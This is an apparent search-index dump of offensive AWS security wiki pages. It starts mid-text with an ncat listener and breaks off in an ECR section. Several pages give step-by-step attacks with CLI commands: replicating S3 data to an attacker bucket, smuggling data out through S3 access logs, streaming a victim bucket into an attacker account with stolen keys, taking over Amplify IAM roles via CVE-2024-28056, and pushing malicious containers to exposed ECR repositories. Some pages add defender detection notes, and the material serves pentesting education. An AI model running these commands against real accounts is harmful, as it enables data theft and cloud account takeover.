sudo ncat --listen -p 443 --ssl --ssl-cert cert.crt --ssl-key your_domain.key -v\n

The calls can be then forwarded to the Secrets Manager VPCE to for example GetSecretValue and get unauthorized access to the data. The same action can be done with any AWS API called from the VPC - S3, KMS, etc.

"},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/","title":"Exfiltrating S3 Data with Bucket Replication Policies","text":"
  • Additional Resources

    Data exfiltration with native AWS S3 features by Ben Leembnruggen

"},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#introduction","title":"Introduction","text":"

S3 data replication provides the ability to copy objects to another bucket, which can be useful from an enterprise logging, integration or security perspective. This can be configure between buckets in the same account, or an unrelated account. Where this feature could be abused is where a malicious actor could input a replication policy to copy objects to an attacker controlled bucket. Objects will continue to be replicated for as long as the policy in place, applying to all future objects placed into the bucket. Using S3 batch operations, attackers can also replicate objects already in the bucket, making it a convenient method for extracting all current and future objects uploaded to the impacted bucket.

"},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#required-configurations-and-permissions","title":"Required Configurations and Permissions","text":""},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#pre-requisites","title":"Pre-requisites","text":"

For bucket replication to be enabled, the following pre-requisites need to be in place:

  • The source bucket owner must have the source and destination AWS Regions enabled for their account. For the destination account, just the destination region needs to be enabled.
  • Both source and destination buckets must have versioning enabled.
  • If the source bucket has S3 Object Lock enabled, the destination buckets must also have S3 Object Lock enabled.
"},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#iam-role","title":"IAM Role","text":"

Minimum Required IAM Permissions - Source Account

  • iam:CreateRole (creating a new role)
  • iam:CreatePolicy & iam:AttachRolePolicy (creating a new policy) or iam:PutRolePolicy (modifying an existing policy)
  • iam:UpdateAssumeRolePolicy

Like most things in AWS, the replication service requires a user supplied role to carry out the replication on your behalf. To replicate all data (including existing objects), an example trust policy and permission set would look something like:

Trust Policy

{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"Service\": [\n                    \"s3.amazonaws.com\",\n                    \"batchoperations.s3.amazonaws.com\"\n                ]\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n

IAM Permissions

{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Action\": [\n                \"s3:GetReplicationConfiguration\",\n                \"s3:ListBucket\",\n                \"s3:PutInventoryConfiguration\",\n                \"s3:InitiateReplication\"\n            ],\n            \"Resource\": \"*\"\n        },\n        {\n            \"Effect\": \"Allow\",\n            \"Action\": [\n                \"s3:GetObjectVersionForReplication\",\n                \"s3:GetObjectVersionAcl\",\n                \"s3:GetObjectVersionTagging\"\n            ],\n            \"Resource\": \"*\"\n        },\n        {\n            \"Effect\": \"Allow\",\n            \"Action\": [\n                \"s3:ReplicateObject\",\n                \"s3:ReplicateDelete\",\n                \"s3:ReplicateTags\"\n            ],\n            \"Resource\": \"*\"\n        },\n        {\n         \"Sid\": \"OnlyRequiredIfReplicatingEncryptedObjects\",\n         \"Effect\":\"Allow\",\n         \"Action\":[\n            \"kms:Decrypt\"\n         ],\n         \"Condition\":{\n            \"StringLike\":{\n               \"kms:EncryptionContext:aws:s3:arn\":[\n                  \"arn:aws:s3:::SOURCEBUCKET/*\"\n               ]\n            }\n         },\n         \"Resource\":[\n            \"KEY ID IN SOURCE ACCOUNT CURRENTLY ENCRYPTING OBJECTS\" \n         ]\n      },\n      {\n        \"Sid\": \"OnlyRequiredIfReplicatingEncryptedObjectsToo\",\n        \"Effect\":\"Allow\",\n         \"Action\":[\n            \"kms:Encrypt\"\n         ],\n         \"Condition\":{\n            \"StringLike\":{\n               \"kms:EncryptionContext:aws:s3:arn\":[\n                  \"arn:aws:s3:::DESTINATIONBUCKET/*\"\n               ]\n            }\n         },\n         \"Resource\":[\n            \"KEY ID IN DESTINATION ACCOUNT TO BE SPECIFIED IN REPLICATION POLICY\" \n         ]\n      }\n    ]\n}\n

"},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#kms-if-objects-are-encrypted","title":"KMS - If objects are encrypted","text":"

Minimum Required IAM Permissions - Source Account

  • kms:PutKeyPolicy

Where a KMS policy is configured to only allow a subset of principals to access an encrypted S3 object, the key policy will need to be updated to allow the above replication role access to decrypt the S3 objects.

"},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#attacker-account-configuration","title":"Attacker Account Configuration","text":"

Minimum Required IAM Permissions (Destination Account)

  • s3:PutBucketPolicy
  • kms:CreateKey, kms:PutKeyPolicy
  • s3:PutBucketVersioning

In order for a bucket to receive logs from another account, it requires a bucket policy explicitly allowing the replication of objects across. An example of this policy is below.

Destination Bucket Policy

{\n   \"Version\":\"2012-10-17\",\n   \"Id\":\"\",\n   \"Statement\":[\n      {\n         \"Sid\":\"Set permissions for objects\",\n         \"Effect\":\"Allow\",\n         \"Principal\":{\n            \"AWS\":\"arn:aws:iam::SOURCE_ACCOUNT_ID:role/S3_REPLICATION_ROLE\"\n         },\n         \"Action\":[\n            \"s3:ReplicateObject\", \n            \"s3:ReplicateDelete\"],\n         \"Resource\":\"arn:aws:s3:::DESTINATION_BUCKET/*\"\n      },\n      {\n         \"Sid\":\"Set permissions on bucket\",\n         \"Effect\":\"Allow\",\n         \"Principal\":{\n            \"AWS\":\"arn:aws:iam::SOURCE_ACCOUNT_ID:role/S3_REPLICATION_ROLE\"\n         },\n         \"Action\":[\n            \"s3:List*\", \n            \"s3:GetBucketVersioning\", \n            \"s3:PutBucketVersioning\"],\n         \"Resource\":\"arn:aws:s3:::DESTINATION_BUCKET\"\n      }\n   ]\n}\n

If the S3 objects in the source account are encrypted, a key must be created in the destination account to encrypt the objects on replication. Additionally, a pre-requisite of bucket replication is that Bucket Versioning is enabled on the destination bucket.

"},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#configuring-the-replication","title":"Configuring the replication","text":"

Minimum Required IAM Permissions - Source Account

  • s3:PutBucketReplication
  • iam:PassRole
  • s3:CreateJob & s3:UpdateJobStatus (Creating and starting a S3 batch replication job)
  • s3:PutBucketVersioning (Only if not already enabled)

The final step is to configure the replication between the source and destination buckets. Depending on whether you use the CLI or console, the steps can change slightly. The full process for both options is documented by AWS here.

In line with the steps above, ensure that: - Specify your created S3 replication role - Replicate existing objects (Disabled by default) - Select Replicate KMS Encrypted objects if needed (Disabled by default) - The Key ID should be the KMS key in the destination account.

"},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#what-defenders-can-look-for","title":"What defenders can look for","text":"
  • Unknown PutBucketReplication or JobCreated events in the Cloudtrail Management trail. The JobCreated event is generated when an S3 Batch operation job has been created, indicating that all existing objects in a bucket are being replicated across, as opposed to only future S3 objects.
  • When an encrypted object is replicated, KMS Decrypt/Encrypt events will appear in a Cloudtrail Management trail, with a principalID and sts assumed role prefixed with 's3-replication'. These encryption events will reference a KMS key in another account - which may trigger certain data perimeter detections.

  • Unknown PutBucketVersioning events (a pre-requisite of bucket replication) on existing S3 buckets, recorded by the Cloudtrail Management trail.

"},{"location":"aws/exploitation/s3_server_access_logs/","title":"Data Exfiltration through S3 Server Access Logs","text":"
  • Original Research

    Cloud services as exfiltration mechanisms by Costas Kourmpoglou

If we have control over an IAM identity that allows s3:GetObject, depending on the network access to the S3 service, we can use S3 server access logs to a bucket we control, and use it to exfiltrate data.

With server access logging, every request to our S3 bucket will be logged to a separate logging bucket. This includes internal AWS requests, or requests made via the AWS console. Even if a request is denied, the payload that the request is carrying, will be sent to our logging bucket. We can then send GetObject requests to s3 buckets, that we don't have access to, but because we control the server access logs, we will still receive the data that we want to exfiltrate in the first place.

"},{"location":"aws/exploitation/s3_server_access_logs/#how","title":"How","text":"

We'll create an S3 bucket, AttackerBucket in our account with server access logging. Let's name the logging bucket AttackerBucketLogs. With our data in hand ExampleDataToExfiltrate, we will send a GetObject request to our bucket, for example:

aws s3api get-object --bucket AttackerBucket --key ExampleDataToExfiltrate

The request will be denied. However the attempt along with the other details, including our key ExampleDatatoExfiltrate - which is the data we're exfiltrating - will arrive to our logging bucket AttackerBucketLogs.

We'll receive the data in the default logging format:

[..] attackerbucket [\u2026] 8.8.8.8 \u2013 [\u2026] REST.GET.OBJECT ExampleDataToExfiltrate \"GET / ExampleDataToExfiltrate HTTP/1.1\" 403 AccessDenied 243 - 18 - \"-\" \"UserAgentAlsoHasData \" \u2013 [\u2026]\n

We're exfiltrating data, using the Key parameter of the request. There's a hard limit of 1024 bytes per Key, but other request fields can be used like User-Agent.

"},{"location":"aws/exploitation/s3_server_access_logs/#challenges","title":"Challenges","text":"

There are two challenges with this method:

  1. If the network access to the S3 service takes place over a VPC endpoint, then the policy of the VPC endpoint would need to allow access to our bucket. The VPC endpoint will drop the request and will not forward it to the S3 service, if the policy doesn't allow it. The S3 service won't be able to generate logs, and we won't be able to exfiltrate data.

  2. The logs are not guaranteed to arrive in order. If you're splitting data across multiple requests, you'll need to figure out a mechanism to re-order the data correctly.

For the general usecase where network access to the S3 service takes place over the internet, there is a 10-120 minute delay, in the log delivery.

"},{"location":"aws/exploitation/s3_streaming_copy/","title":"S3 Streaming Copy","text":"

Shout Out to Janardhan Prabhakara for showing me this all those years ago!

Requirements: a shell, terminal session, command prompt, a victim's AWS Access Key or STS token, an attacker AWS key and bucket to land in a separate account.

Why would anyone use this?

In many environments AWS to AWS traffic is largely unfiltered and voluminous. As well, an attacker may find a key that can perform GetObject action on S3, but not PutObject. Or perhaphs, more likely, an attacker would like to hide their exfiltration commands.

If an attacker lands a shell on an EC2 Instance of the victim, any issued aws commands will be coming from an expected/trusted network which is even less likely to be detected. However, S3 Streaming Copy techniques can also be used from any terminal with aws-cli.

When this attack is perfomed the S3 GetObject call is recorded in the VICTIM cloudtrail dataevents (if enabled, which is unlikley) But, the S3 PutObject call is recorded in the ATTACKER's cloudtrail. The VICTIM cannot see the S3 PutObject side of the copy in AWS Cloudtrail.

When using the aws-cli utilize the --profile to specify the IAM context profile from the .aws/credentials file.

Step 1: setup an profile in .aws/credentials for the ATTACKER credentials. These are credentials from your attacker controlled account aka not the victims credentials

[attacker]\naws_access_key_id = <attacker_key_id>\naws_secret_access_key = <attacker_secret_key>\n

Step 2: Create a profile for the VICTIM credentials. These are the keys attained with access to the victim's AWS enviornment.

Note

This step is optional if using a shell on a VICTIM EC2, running an EC2 instance profile that has the permissions to test.

[victim]\naws_access_key_id = <victim_key_id>\naws_secret_access_key = <victim_secret_key>\n

Step 3: example: S3 Stream Copy command for a single file from cli

aws s3 cp --profile victim s3://victim_bucket/juicy_data.txt - | (aws s3 cp --profile attacker  - s3://attacker_bucket/juicy_data.txt )\n

Step 3: example: S3 Stream Copy command for a single file from cli of an Ec2 instance using the Instance Profile

aws s3 cp s3://victim_bucket/juicy_data.txt - | (aws s3 cp --profile attacker  - s3://attacker_bucket/juicy_data.txt )\n

Prevention: A known, but not very common, way to prevent this is by mandating S3 communication through a VPC Endpoint and applying a VPC Endpoint Policy that denies any request that does not match the principalOrgId.

This is becoming more common with the popularity of Data Perimeter guardrails

Note

If this technique doesn't work, it is possible there is a VPC Endpoint policy is in place. Try making the ATTACKER destination bucket in another AWS Region as Cross-region calls typically do not traverse a VPC Endpoint.

"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/","title":"Misconfigured Resource-Based Policies","text":"

Resource-based policies are an often overlooked part of AWS security that can have significant implications. A resource-based policy is a type of policy that is attached directly to an AWS resource that describes what actions can be performed on it and by whom.

For example, the following is a bucket policy (a type of resource-based policy) that would permit the tester user to list the contents of the super-public-fun-bucket S3 bucket.

{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"AllowS3Listing\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::111111111111:user/tester\"\n            },\n            \"Action\": \"s3:ListBucket\",\n            \"Resource\": \"arn:aws:s3:::super-public-fun-bucket\"\n        }\n    ]\n}\n

Resource-based policies make it easy to share AWS resources across AWS accounts. They also, as a result, make it easy to unintentionally share resources. The common example of this is misconfigured S3 buckets which leak sensitive information.

For a Penetration Tester or Red Teamer it is important to understand the intricacies of how resource-based policies work, and how they can be abused.

"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#the-principal-and-risks","title":"The \u201c*\u201d Principal and Risks","text":"

In a resource-based policy you must specify a \u201cprincipal\u201d. This is the entity who is allowed (or denied) the ability to perform the action. It is possible to specify \u201c*\u201d as a principal which means that all users will be able to act on it. This effectively makes the resource public and anyone can perform actions against it.

For a real world example of this, a telecommunications company had the following bucket policy set.

{\n  \"Sid\": \"AllowPublicRead\",\n  \"Effect\": \"Allow\",\n  \"Principal\": {\n    \"AWS\": \"*\"\n  },\n  \"Action\": [\n    \"s3:GetObject\",\n    \"s3:PutObject\"\n  ],\n  \"Resource\": \"arn:aws:s3:::media.tellacom.com/taskrouter/*\"\n}\n

The bucket this policy was attached to was used to distribute a JavaScript SDK, which would be a valid use-case for a public S3 bucket. As can be seen from the Action statement, the policy permitted both s3:GetObject and s3:PutObject. This enabled an attacker to overwrite the JavaScript SDK sitting in the bucket with malicious code. This code was then distributed from the legitimate bucket.

While resource-based policy misconfigurations are often associated with leaking information (read), it is equally as dangerous that an adversary could modify (write to) the resource(s).

Note

Condition operators can be used to scope down the policy. For example, the principal can be set to \u201c*\u201d but the conditions can enforce which account can perform an action. It is important to thoroughly read the policy and understand the context before creating a finding for it.

"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#more-than-just-s3-buckets","title":"More Than Just S3 Buckets","text":"

It is worth noting that there are many different AWS services/resources which make use of resource-based policies. Each service will have its own security implications based on what the principal is and what the actions are.

Note

Prowler, an AWS assessment tool, can be used to quickly audit resource policies in an AWS account. Be mindful that it cannot contextualize all condition operators, and how they affect the account\u2019s security.

"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#dumping-and-analyzing-resource-based-policies-at-scale","title":"Dumping and analyzing resource-based policies at scale","text":"

You can download a copy of all resource-based policies configured in an account and run security linting checks against them using the aws-lint-iam-policies tool. It performs linting checks using the AWS IAM Access Analyzer policy validation feature, which also brings along a list of security-focused checks.

Example invocation:

python aws_lint_iam_policies.py --scope ACCOUNT --dump-policies\n

Instead of analyzing a single AWS account, the tool can also target all accounts of an AWS Organization.

"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#resource-based-policy-evaluation-logic","title":"Resource-Based Policy Evaluation Logic","text":"

It is important to note that resource-based policies have a unique quirk when it comes to policy evaluation logic. From the documentation, \u201cDepending on the type of principal, an Allow in a resource-based policy can result in a final decision of Allow, even if an implicit deny in an identity-based policy, permissions boundary, or session policy is present [within the same account]\u201d.

Note

An implicit deny is when there is no specific Deny statement, but there is also no Allow statement in a policy. You can think of an implicit deny as the starting point of a policy. Everything is denied by default and access has to be granted.

An explicit deny is when there is a specific Deny statement in a policy.

More information can be found in the documentation for the difference between explicit and implicit denies.

This means that if there is an Allow in a resource policy, that entity can perform actions on the resource without an associated identity policy. Take the following SNS topic access policy (a form of resource-based policy) for example:

{\n  \"Version\": \"2008-10-17\",\n  \"Id\": \"__default_policy_ID\",\n  \"Statement\": [\n    {\n      \"Sid\": \"__default_statement_ID\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"arn:aws:iam::111111111111:user/tester\"\n      },\n      \"Action\": [\n        \"SNS:GetTopicAttributes\",\n        \"SNS:SetTopicAttributes\"\n      ],\n      \"Resource\": \"arn:aws:sns:us-east-1:111111111111:test_topic\"\n    }\n  ]\n}\n
This policy would permit the tester IAM user to perform sns:GetTopicAttributes and sns:SetTopicAttributes without the need for an Allow in the identity policies attached to the user.

Note

This behavior only applies to entities in the same AWS account. If the resource-based policy specified an IAM user in a different AWS account, that user would need to have an identity policy attached that allowed the action.

"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#not-policy-elements","title":"\u201cNot\u201d Policy Elements","text":"

Within the syntax for IAM policies in AWS exist three \u201cNot\u201d policy elements, NotPrincipal, NotAction, and NotResource. These elements have the inverse effect of their similarly named counterparts and, when paired with an Allow, can be a very serious misconfiguration.

Because of this, policies which include these elements should be strictly scrutinized for potential misconfigurations.

"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#notprincipal","title":"NotPrincipal","text":"

The NotPrincipal element is used to specify which entity is not a part of the policy. When paired with an Allow this means that all entities (including those outside of the account) will be permitted to perform actions against the resource.

For example, the following SNS access policy would permit any entity to perform sns:GetTopicAttributes except for the jim user.

{\n  \"Version\": \"2008-10-17\",\n  \"Id\": \"__default_policy_ID\",\n  \"Statement\": [\n    {\n      \"Sid\": \"__default_statement_ID\",\n      \"Effect\": \"Allow\",\n      \"NotPrincipal\": {\n        \"AWS\": \"arn:aws:iam::111111111111:user/jim\"\n      },\n      \"Action\": \"SNS:GetTopicAttributes\",\n      \"Resource\": \"arn:aws:sns:us-east-1:111111111111:test_topic\"\n    }\n  ]\n}\n
"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#notaction","title":"NotAction","text":"

The NotAction element is used to specify all actions except the specified one. When paired with an Allow this means that all actions except the ones specified will be permitted.

For example, the following SNS access policy would permit any entity the ability to perform all SNS actions except sns:Publish.

{\n  \"Version\": \"2008-10-17\",\n  \"Id\": \"__default_policy_ID\",\n  \"Statement\": [\n    {\n      \"Sid\": \"__default_statement_ID\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"*\"\n      },\n      \"NotAction\": \"SNS:Publish\",\n      \"Resource\": \"arn:aws:sns:us-east-1:111111111111:test_topic\"\n    }\n  ]\n}\n
"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#notresource","title":"NotResource","text":"

The NotResource element is used to specify all resources except the specified one. When paired with an Allow this means that if the resource is incorrect, or mistyped, the statement will evaluate to true.

For example, the following SNS access policy for an SNS topic named first_topic would permit the user jim the ability to perform the sns:GetTopicAttributes action because the statement specifies a NotResource element of second_topic.

{\n  \"Version\": \"2008-10-17\",\n  \"Id\": \"__default_policy_ID\",\n  \"Statement\": [\n    {\n      \"Sid\": \"__default_statement_ID\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"arn:aws:iam::222222222222:user/jim\"\n      },\n      \"Action\": \"SNS:GetTopicAttributes\",\n      \"NotResource\": \"arn:aws:sns:us-east-1:111111111111:second_topic\"\n    }\n  ]\n}\n
"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/","title":"CVE-2024-28056: Exploit an AWS Amplify Vulnerability in a Same-Account Scenario","text":"
  • Original Research

    Amplified exposure: How AWS flaws made Amplify IAM roles vulnerable to takeover by Nick Frichette

  • Additional Resources

    AWS Security Bulletin: CVE-2024-28056

"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/#background","title":"Background","text":"

In April of 2024, Security Researchers at Datadog found a vulnerability in the AWS Amplify service that exposed IAM roles associated with the service to takeover. In particular, under two different scenarios the Amplify service was setting the role trust policies of certain roles to improperly limit which Cognito identity pool could assume them. As a result, anyone could create their own identity pool (or find one on the internet) and use it to assume these vulnerable roles.

In response to this, AWS made a number of changes to IAM and the AWS Security Token Service (STS) APIs. In particular, this involved:

  • Releasing a fix to the Amplify CLI and Amplify Studio preventing the creation of more vulnerable roles.
  • Made changes to the IAM control plane to prevent anyone from creating role trust policies vulnerable to this misconfiguration. If you try to set a vulnerable policy today it will be rejected.
  • Made changes to the STS service to block cross-account role assumption of roles that have a vulnerable trust relationship with the Amazon Cognito service.

This final fix is interestingly specific. AWS only made changes to block cross-account role assumption, not same-account role assumption. As a result of this, we can still potentially take advantage of roles that were made vulnerable by the Amplify service. This requires an identity pool to be configured in the account with the basic (classic) authflow enabled.

Warning

To be clear, this method is more difficult and requires the existence of at least one additional misconfigured resource, however it is worthwhile to know about if you are a Penetration Tester or Red Teamer, or you simply use Amplify in your own organization.

Note

This is not realistically something that can be \"fixed\". AWS was able to block cross-account role assumption because it was a sufficiently rare occurrence. By comparison, same-account role assumption using Cognito is (as of today) the only method available. If you have IAM roles in your account which are vulnerable to this exposure it is recommended to delete them, or change their trust policy in addition to relying on the fixes that AWS provided.

"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/#unauthenticated-example","title":"Unauthenticated Example","text":"

In this scenario, there exists a vulnerable role in the account, alongside an identity pool that has the basic authflow enabled. This role's trust policy does not require authentication to assume. Here is an example of a vulnerable trust policy:

{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"Federated\": \"cognito-identity.amazonaws.com\"\n            },\n            \"Action\": \"sts:AssumeRoleWithWebIdentity\"\n        }\n    ]\n}\n

Note

There is another variant of this misconfiguration where the trust policy includes a condition for cognito-identity.amazonaws.com:amr that is set to unauthenticated.

"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/#steps-to-exploit","title":"Steps to Exploit","text":"

In order to assume a role that has this vulnerable trust policy, follow these steps:

  1. Using the AWS CLI, perform the following command: aws cognito-identity get-id --identity-pool-id <victim identity pool id>
    • This can typically be found in the client side JavaScript of the web application using this identity pool.
  2. Using the IdentityId from step one, perform the following command: aws cognito-identity get-open-id-token --identity-id <identity id from step 1>
    • This will return a JWT we can use to authenticate to the vulnerable role. You can inspect this JWT if you so choose.
  3. With this JWT, perform the following command: aws sts assume-role-with-web-identity --role-arn <vulnerable role ARN> --role-session-name <session name of your choosing> --web-identity-token <JWT from step 2>
    • The vulnerable role ARN will need to be brute-forced, derived from other values, found in source control, or a variety of other means.

By following these steps you should successfully generate IAM credentials for the vulnerable role:

{\n    \"Credentials\": {\n        \"AccessKeyId\": \"ASIA123ABC456DEF789G\",\n        \"SecretAccessKey\": \"123ABC456DEF789G123ABC456DEF789GHI012JKL\",\n        \"SessionToken\": \"...snip...\",\n        \"Expiration\": \"2024-07-31T20:02:33+00:00\"\n    },\n    \"SubjectFromWebIdentityToken\": \"us-east-1:00000000-1111-2222-3333-444444444444\",\n    \"AssumedRoleUser\": {\n        \"AssumedRoleId\": \"AROA123ABC456DEF789G:hijacked_role\",\n        \"Arn\": \"arn:aws:sts::111111111111:assumed-role/vulnerable-amplify-role/hijacked_role\"\n    },\n    \"Provider\": \"cognito-identity.amazonaws.com\",\n    \"Audience\": \"us-east-1:aaaaaaaa-1111-bbbb-2222-cccccccccccc\"\n}\n
"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/#authenticated-example","title":"Authenticated Example","text":"

In an authenticated scenario, the identity pool in the victim account must be configured to support authentication with a Cognito user pool. An example vulnerable role trust policy can be found below:

{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"Federated\": \"cognito-identity.amazonaws.com\"\n            },\n            \"Action\": \"sts:AssumeRoleWithWebIdentity\",\n            \"Condition\": {\n                \"ForAnyValue:StringLike\": {\n                    \"cognito-identity.amazonaws.com:amr\": \"authenticated\"\n                }\n            }\n        }\n    ]\n}\n
"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/#steps-to-exploit_1","title":"Steps to Exploit","text":"

In order to assume a role that has this vulnerable trust policy, follow these steps:

  1. First, find credentials for a user account in the pool. If you cannot steal or create credentials you cannot continue.
  2. Authenticate to the user pool using cognito-idp:InitiateAuth. The specific command you will need to use will differ depending on the type of authentication in place. Please refer to the documentation for more information. Here we will demonstrate using USER_PASSWORD_AUTH.
    • Run the following command: aws cognito-idp initiate-auth --auth-flow USER_PASSWORD_AUTH --client-id <client id of the victim user pool> --auth-parameters USERNAME=<username>,PASSWORD=<password>
    • This will return an IdToken that will be used in the next step.
    • Note: The AccessToken is NOT the same as the IdToken.
  3. Run the following command: aws cognito-identity get-id --identity-pool-id <victim identity pool id> --logins '{\"cognito-idp.<region>.amazonaws.com/<victim user pool id>\":\"<IdToken from step 2>\"}'
    • This will return an IdentityId that will be used in the next step.
  4. Run the following command: aws cognito-identity get-open-id-token --identity-id <IdToken from step 3> --logins '{\"cognito-idp.us-east-1.amazonaws.com/<victim user pool id>\":\"<IdToken from step 2>\"}'
    • Note: You MUST include the logins parameter, it is not optional.
    • This will return a JWT we will use in the next step.
  5. With this JWT, perform the following command: aws sts assume-role-with-web-identity --role-arn <vulnerable role ARN> --role-session-name <session name of your choosing> --web-identity-token <JWT from step 4>

By following these steps you should successfully generate IAM credentials for the vulnerable role.

"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/","title":"Abusing Misconfigured ECR Resource Policies","text":"

AWS Elastic Container Registry (ECR) private repositories use resource-based policies to delineate which entities are permitted to push and pull containers. As a result, it is possible for these policies to be misconfigured and potentially abused. The following are some examples of possible misconfigurations and the required permissions needed to take advantage of them.

Note

Aside from the wildcard principal, you should also be mindful of overbroad permissions in general, such as permitting an entire AWS account to have access.

"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/#understanding-ecrgetauthorizationtoken","title":"Understanding ecr:GetAuthorizationToken","text":"

A unique requirement to abusing misconfigured resource-based policies in ECR is ecr:GetAuthorizationToken. The attacking entity must have this permission via an identity-based policy, it cannot be permitted via a resource-based policy (even if the Action element is ecr:*). For scenarios in which the policy has a wildcard principal and a broken policy, this is not a problem as you can create a role with the needed permission.

Note

When interacting with an ECR private repository via the Docker cli, you use ecr:GetLoginPassword to authenticate. This calls ecr:GetAuthorizationToken to provide the needed authorization.

"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/#downloading-containers","title":"Downloading Containers","text":"

Required Permissions: ecr:GetLoginPassword, ecr:BatchGetImage, ecr:GetDownloadURLForLayer.

As an example, take the following misconfigured resource policy for an ECR private repository.

{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Sid\": \"AllowAll\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"*\"\n      },\n      \"Action\": [\n        \"ecr:BatchGetImage\",\n        \"ecr:GetDownloadUrlForLayer\"\n      ]\n    }\n  ]\n}\n

This policy would permit us the ability to download containers from the vulnerable repository to our own account. We can take advantage of this with the following commands. First, we need to authenticate to the repository.

aws ecr get-login-password --region <region> | docker login --username AWS --password-stdin <account ID>.dkr.ecr.<region>.amazonaws.com\n

Next, we will pull the container with the following command.

docker pull <account ID>.dkr.ecr.<region>.amazonaws.com/<repository name>:vulnerable\n

We can now loot this container for source code or other valuable information.

"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/#uploading-containers","title":"Uploading Containers","text":"

Required Permissions: ecr:GetLoginPassword, ecr:InitiateLayerUpload, ecr:UploadLayerPart, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:PutImage.

Info

As an anecdotal aside, the number of permissions required to perform a container upload may inadvertently increase the likelihood of a Principal being set to *. If you're a developer or ops person just trying to get something done, it may be enticing to set it to a wildcard and be done with it/forget about it.

As an example, take the following misconfigured resource policy for an ECR private repository.

{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Sid\": \"ExamplePolicy\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"*\"\n      },\n      \"Action\": \"ecr:*\"\n    }\n  ]\n}\n

This policy would permit us the ability to upload containers to the repository from our own account. We can take advantage of this with the following commands. First, we need to authenticate to the repository.

aws ecr get-login-password --region <region> | docker login --username AWS --password-stdin <account ID>.dkr.ecr.<region>.amazonaws.com\n

Next, we need to create/choose a container to upload. In a real world scenario you would likely want to create a container which runs your C2 of choice, or perhaps a simple script to retrieve IAM credentials. For this example, we will use an Ubuntu container.

docker tag ubuntu:latest <account ID>.dkr.ecr.<region>.amazonaws.com/<repository name>:vulnerable\n

And finally we push the container into the repository.

docker push <account ID>.dkr.ecr.<region>.amazonaws.com/<repository name>:vulnerable\n

Now we simply have to wait for a service (ECS, EKS, EC2, Lambda, etc.) to pull this malicious container and execute it, giving us access to that environment.

"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/#identification","title":"Identification","text":"

To find exposed ECR private repositories you can use Prowler, an open source tool to audit for AWS security. The following command can be used with version 3.0 or higher.

